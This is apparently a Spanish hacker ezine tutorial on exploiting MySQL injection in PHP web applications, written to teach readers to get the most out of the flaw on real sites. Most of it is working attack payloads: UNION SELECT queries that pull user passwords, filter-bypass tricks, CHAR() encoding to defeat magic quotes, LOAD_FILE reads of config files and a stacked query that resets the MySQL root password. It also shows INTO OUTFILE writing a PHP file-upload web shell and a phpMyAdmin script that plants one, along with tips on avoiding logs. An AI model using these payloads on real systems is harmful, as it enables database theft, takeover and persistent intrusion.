MySQL Injection real-life level Introducción Éste documento no es una introducción al mysql injection, tampoco no es un extreme-level. Es sencillamente LO QUE HAY. Es lo que vais a encontraros en cualquier posible lugar donde se pueda ejercer un sql injection. Yo voy a enseñaros como explotar al máximo, las posibilidades que nos da esta falla de seguridad. Os voy a mostrar que en un 90% de los casos de hackeo la gente sabe tan poco que no sabe ni utilizar lo que tiene en su mejor rendimiento. En todos los casos no será posible, por eso habrá que saber qué detalles influencian una u otra situación y extraer el mejor resultado. Como ya sabreis, si pensais en leer el doc para joder a otra gente ya podeis parar de leer e iros a jugar al parque. Como hice en el documento de XSS, al final os publicaré un 0day sobre un mysql Injection en un script en php bastante conocido. El bug no es muy importante y el equipo de desarrollo está informado de la falla, aunque no he recibido contestación de ellos, por lo que no hay versión oficial del reparo del bug. Una semana después de la publicación de la ezine enviaré el discloure a bugtraq para que los administradores serios que lo utilizan, lo reparen adecuadamente. Nociones basicas Antes de nada hare un repaso de la condiciones que tiene que tener un mysql injection cualquiera. Lo explicaré con un ejemplo. Imaginad que tenemos esto:
    <?
    mysql_query("SELECT id,user,password FROM users WHERE id = $id");
    ?>
Como podéis ver el injection se produce en el $id. Nuestro objetivo CASI siempre va a ser utilizar la secuencia de enlace de cadenas llamada UNION para hacer otro SELECT a continuación. Esto no es tarea fácil sobretodo cuando han puesto @mysql_query. Esa @ indica que el error que podria mostrar no sea mostrado, por lo que nosotros vamos a tener que intuir qué esta pasando. Una vez que tengais experiencia no sera problema, actualmente lo es. Como decía, para que el injection se realice con éxito vamos a tener que prestar atención en los diferentes puntos: + Tenemos que negar el primer select: Para conseguir que se produzca la segunda expresión tenemos que hacer que la primera sea falsa. ¿Como conseguimos ésto? Empezaremos construyendo nuestro ataque a través de:
    //page.php?id=1 AND 1=2
+ El numero de casillas del SELECT segundo va a tener que ser identico al numero del SELECT primero, y ademas, tienen que encajar los TIPOS. Es simple. Si en el SELECT inicial estamos pidiendo un id del tipo INT, un user del tipo CHAR(8) y un password del tipo TEXT, nosotros sólo vamos a ser capaces de pedir un INT, un CHAR(8) y un TEXT. Ni más ni menos. Como vais a ir viendo, el hecho que nos de un TEXT ya es suficiente para poder hacer cualquier cosa que queramos. Con un ejemplo válido lo vereis:
    //page.php?id=1 AND 1=2 UNION SELECT 1,password,user
Explicación: En este caso en la salida del id seria un 1, en la salida del user saldría ""nuestro"" password limitado a 8 caracteres y en el sitio del password saldrá ""nuestro"" user con cualquier longitud. Digo nuestro porque en realidad tendriamos que modificar a través de añadir: WHERE id = X. Ésto ya lo tendríais que saber. + Pensar en las diferentes posibilidades logicos y simples: Lo más común es que detrás del "WHERE id = $id" haya algún ORDER BY o algún LIMIT. Ésto lo vamos a poder quitar poniendo un /* al final del todo. La cosa no termina aquí. Imaginad que estan filtrando a través de trim($id) o algún explode("\x20",$id), una posibilidad para saltarlo seria reemplazar en nuestra cadena los espacios, por /**/. Quedaría así:
    //page.php?id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/1,password,user/*
A lo largo del documento ya iré explicando mas tips como ésta ;). Conociendo el entorno Descubriendo el injection Voy a ir rápido y preciso, aunque no por ello dejeis de leerlo. Me parece muy interesante todo esto. Para sacar un mysql injection lo primero que probaríais es poner un ', ¿correcto? ¡MAL HECHO! Para descubrirlo no hay que probar un ', hay que probar otros métodos mucho mas efectivos y sobretodo difíciles de ser filtrados, es decir, si la persona a puesto sus MAGIC_QUOTES_GPC a ON poniendo un ' lo único que pasaría es que no daría error y ni os daríais cuenta que ahí hay algo mal. Entonces, ¿qué teneis que probar? Principalmente 2 cosas. 1 _ Probar algo como 1 OR 1=1 y 1 AND 1=2. El resultado os mostrará si hay o no hay. 2 _ Probar en vez de un ' un ; . Aunque os parezca una tontería os aseguro que os resultará más útil. Al no admitir el ; (la doble cadena mysql) muchos de los servidores actuales, va a dar error seguro, cosa que no hubiera sucedido con el '. Analizando el entorno Bueno, hemos visto que hay un posible error, ¿qué es lo primero que tenemos que hacer ? Lo primero es no excitarse. Tenemos que comprobar una serie de parámetros muy importantes antes de nada. Son los siguientes: Como podéis ver, USER() y sus siguientes funciones son iguales, por lo que ejecutando una ya será suficiente. En la casilla que nos tenemos que fijar muy bien es en el VERSION(). Si nosotros vemos algo como 4.0.20a-nt-log ya podemos ir pensando muy bien cual será el próximo movimiento: Todo lo que hagamos se ha estado grabando y todo lo que haremos también. Para mostrar el cuadro anterior solo hace falta poner:
    SELECT DATABASE(),VERSION(),USER(),SYSTEM_USER(),SESSION_USER(),CURRENT_USER();
NOTA: En este documento no voy a tratar casi la doble cadena ni sus comandos ya que yo nunca he tenido éxito con ese tipo de ataque y dudo que en algún sitio se permita. Si la versión de mysql es estable el margen de acciones se verá reducido drásticamente, hasta tener la posibibilidad de no poder hacer ni el UNION, igual que si la versión de éste es la 3 o inferior. Un detalle. El DROP deja logs, el TRUNCATE no ;). Por si acaso, os doy una listilla de buenas cosas a probar si se permite hacer una doble llamada:
    ; SHOW GRANTS FOR 'root'@'localhost'; /*  << mirar permisos
    ; SHOW TABLES; /* << listar las subtablas
    ; UPDATE root SET Password=PASSWORD('root') WHERE user='root'; FLUSH PRIVILEGES; /*
Mucho cuidado con esta última, necesita comillas las cuales nos restringirán muchas cosas... Entrando en materia quotes = on && SIN permisos Éste es el caso mas 'cerrado' en el que nos podemos encontrar. Aún así, vamos a poder conseguir información de las tablas que conozcamos. Normalmente suele hacerse un poco de bruteforce para adivinar los nombres de las tablas que se estan utilizando. En este caso no podríamos hacer nada contra algo como lo siguiente:
    <?
    mysql_query("SELECT id,user,password FROM users WHERE id = '$id'");
    ?>
Al entrar ' se transformaría en \' y ni nos daríamos cuenta que hemos fallado. Para descubrir que realmente "hay" un injection usaremos el truco del ;. Éste si que devolverá error. En cambio, si esas comillas del $id no estuvieran, podríamos hacer uno de los injections explicados anteriormente, por ejemplo:
    //page.php?id=1 AND 1=2 UNION SELECT 0,VERSION(),USER()/*
Podéis ir a por las passwords de los administradores o a por cualquier otra cosa de información dentro de la database que se esté ejecutando. quotes = off && SIN permisos Este caso es prácticamente lo mismo que el de arriba con la diferencia de que aquí podríamos insertar cosas como:
    //page.php?id='1 OR '1==1
Una tontería si no tenemos permisos, pero si el servidor lo tuviera desactivado os aseguro que el tanto por cierto de que sus scripts sean vulnerables a un mysql injection crecería más del 60%. quotes = on && FULL permisos Parece que un administrador está ejecutando con el root de la base de datos... buah.. y además parece que su apache también está corriendo como un user bastante importante... :-) ¡¡para matarlo!! ¿que posibilidades nuevas dá ésta configuración? Bueno, esta configuración nos permitirá leer archivos, como el config.php o cualquier otro... Para ello usaremos la función LOAD_FILE(). Os lo muestro en un ejemplo:
    //page.php?id=-1 UNION SELECT 0,0,load_file('/home/phas/secret/config.php')/*
Ésto nos mostraría el contenido del archivo config.php (ruta completa!) en la casilla del password. Recordemos que el passwd tenía TEXT, si lo hubieramos hecho en el CHAR(8) sólo nos hubiera mostrado los primeros 8 caracteres :(. Buah buah buah... ¡¡que problemón!!... estamos en quotes = on, por lo que ésto sera filtrado. ¿Hay solución? SI.
    //page.php?id=-1 UNION SELECT 0,0,load_file(char(39,47,104,111,109,101,47,112,104,97,115,47,
    115,101,99,114,101,116,47,99,111,110,102,105,103,46,112,104,112,39))/*
Lo que he hecho es poner el código en decimal, con la sintáxis CHAR(). Para haceros la vida mas sencilla os paso un script que medio programó el señor... Phas xD y yo lo retoque para que diera un resultado ya con el char incluído.
    <? //uso: page.php?str='lo_que_quieras_pasar_a_decimal'
        $chr .= ord($str{0});
        for($i = 1;$i < strlen($str);$i++) {
            $chr .= ","."".ord($str{$i});
            if ($i != strlen($str) -1) {
                $chr .= "";
            }
        }
    ?>
    <font size="-3">char(<?="$chr"; ?>)</font>
quotes = off && FULL permisos Ésto es como jugar al counter-strike y tener modo god on ;). Aquí directamente le vamos a subir un archivo a espacio web. Ésto es fácil con la función INTO OUTFILE, pero es necesario utilizar las comillas simples para especificar la ruta. No servirá pasarlo por char(). Ejemplo:
    //page.php?id=-1 UNION SELECT 0,0,0 INTO OUTFILE '/home/phas/secret/test.php'/*
Eso crearía un archivo llamado test.php y metería 0 \t 0 \t 0 en el archivo. Ahora vamos a meter algo sin que esté en las tablas:
    //page.php?id=-1 UNION SELECT 0,0,<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>
    INTO OUTFILE '/home/phas/secret/test.php'/*
Ésto nos crearía un subidor de archivos muy sencillito en ese directorio. ¿como puedes acceder a el? Con un script remoto como éste.
    <form ENCTYPE="multipart/form-data" ACTION="[URL]" METHOD="POST">
    <input NAME="myfile" TYPE="file" size="100">
    <input VALUE="UPLOAD" TYPE="submit">
    </form>
Estoy seguro que habeis entendido que combinando un load_file con un into outfile le podemos cambiar la extensión al archivo... ¿no? =) MySQL scripts Bueno, he visto bastante cosa por internet sobre scripts que te hacen de todo, pero sólo tengo uno a mano. Son muy útiles cuando te encuentras un phpmyadmin con root sin password.
    CREATE TABLE upfile ( upfile TEXT NOT NULL ) ;
    INSERT INTO upfile ( upfile ) VALUES ('<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>');
    SELECT * FROM upfile INTO OUTFILE 'C:/!/WEB/AppServ/www/bug/!DONE/L33T/upfile.php';
    DROP TABLE `upfile`;
Bibliografía Os podría aconsejar un montón de páginas sobre ello. Para hacer el doc, lo más importante ha sido la experiencia, la cual me dió muchos palos en el tema. Os recomiendo 4 paginas: http://www.mysql.com/ http://www.4ngel.net/ http://www.unixwiz.net/techtips/sql-injection.html http://www.hackxcrack.com/phpBB2/viewtopic.php?t=17534 Os adjunto un archivo de "blind mysql injections.txt". Lo encontre por buqtraq, pero no encuentro ahora la URL original. Me despido :) Gracias por haberlo leido. El doc secreto esta vez trata sobre MySQL Injection. Es la continuación de este documento con una explicación detallada (taller paso a paso) sobre un par de 0day que saque de un script en PHP (que por cierto, estan corriendo en Hispabyte :-P). Sacadlo y tendreis toda la información :). Martes13 ( sergio.arcos@gmail.com ) - http://martes13.net/